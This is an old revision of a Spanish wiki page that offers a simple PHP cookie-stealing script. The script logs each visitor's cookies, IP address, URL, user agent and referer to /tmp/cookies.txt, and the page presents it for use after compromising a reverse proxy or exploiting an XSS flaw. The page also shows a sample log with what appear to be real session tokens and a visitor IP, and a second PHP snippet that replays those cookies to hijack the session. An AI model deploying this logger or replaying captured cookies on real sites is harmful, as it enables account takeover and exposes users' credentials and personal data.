This is an old revision of the document!
Código PHP simple para robar fijas cookies
Ejemplo de código PHP que puede usarse si se obtiene acceso a un upstream (reverse proxy) o vulnerabilidad xss en un entorno web y se quiere probar un robo de sesión mediante cookies.
El siguiente código PHP escribe un fichero temporal en /tmp o bien /tmp/systemd-private-XXX-php-fpm.service-z1xh/tmp/ donde se listan todas las cookies.
<?php $date = date("Y/m/d H:i:s"); $file = fopen("/tmp/cookies.txt", "a"); fwrite($file, "\n------------------\n[+] Date:{$date}\n[+] URL: {$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}\n[+] IP: {$_SERVER['REMOTE_ADDR']}\n[+] UserAgent: {$_SERVER['HTTP_USER_AGENT']}\n[+] Referer: {$_SERVER['HTTP_REFERER']}\n[+] Cookies:"); fwrite($file, print_r($_COOKIE, TRUE)); fclose($file); ?>
Si estas cookies son configuradas en otro navegador, dependiendo de como haya sido desarrollada la apliacción web, se podría robar la sesión. Por supuesto no es necesario usar php para crear estas nuevas cookies, siendo factible usar cualquier otro metodo como un editor de cookies para el navegador.
Ejemplo del fichero salida /tmp/cookies.txt:
------------------ [+] Date:2021/02/09 00:05:23 [+] URL: busindre.com/XXX/test.php [+] IP: 82.207.201.199 [+] UserAgent: Mozilla/4.0 (X11; Linux x86_64) AppleWebKit/437.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/517.36 [+] Referer: [+] Cookies:Array ( [DokuWiki] => apnr19egsi5u495rhttrnp2h [DW1fa065a06cb74b536c124cfbe56ac63] => BnVzaW5kcmU=|0|l9f+QopU7tYpC/0Ju+kwPVTBeGgOS1+3FfdTwiV2Sv+ruAbLDyPkmTeOceOv2m )
Establecer en PHP las cookies que previamente han sido obtenidas.
<?php setcookie("DokuWiki", "apnr19egsi5u495rhttrnp2h",time()+3600,"/","busindre.com"); setcookie("DW1fa065a06cb74b536c124cfbe56ac63", "BnVzaW5kcmU=|0|l9f+QopU7tYpC/0Ju+kwPVTBeGgOS1+3FfdTwiV2Sv+ruAbLDyPkmTeOceOv2m",time()+3600,"/","busindre.com"); ?>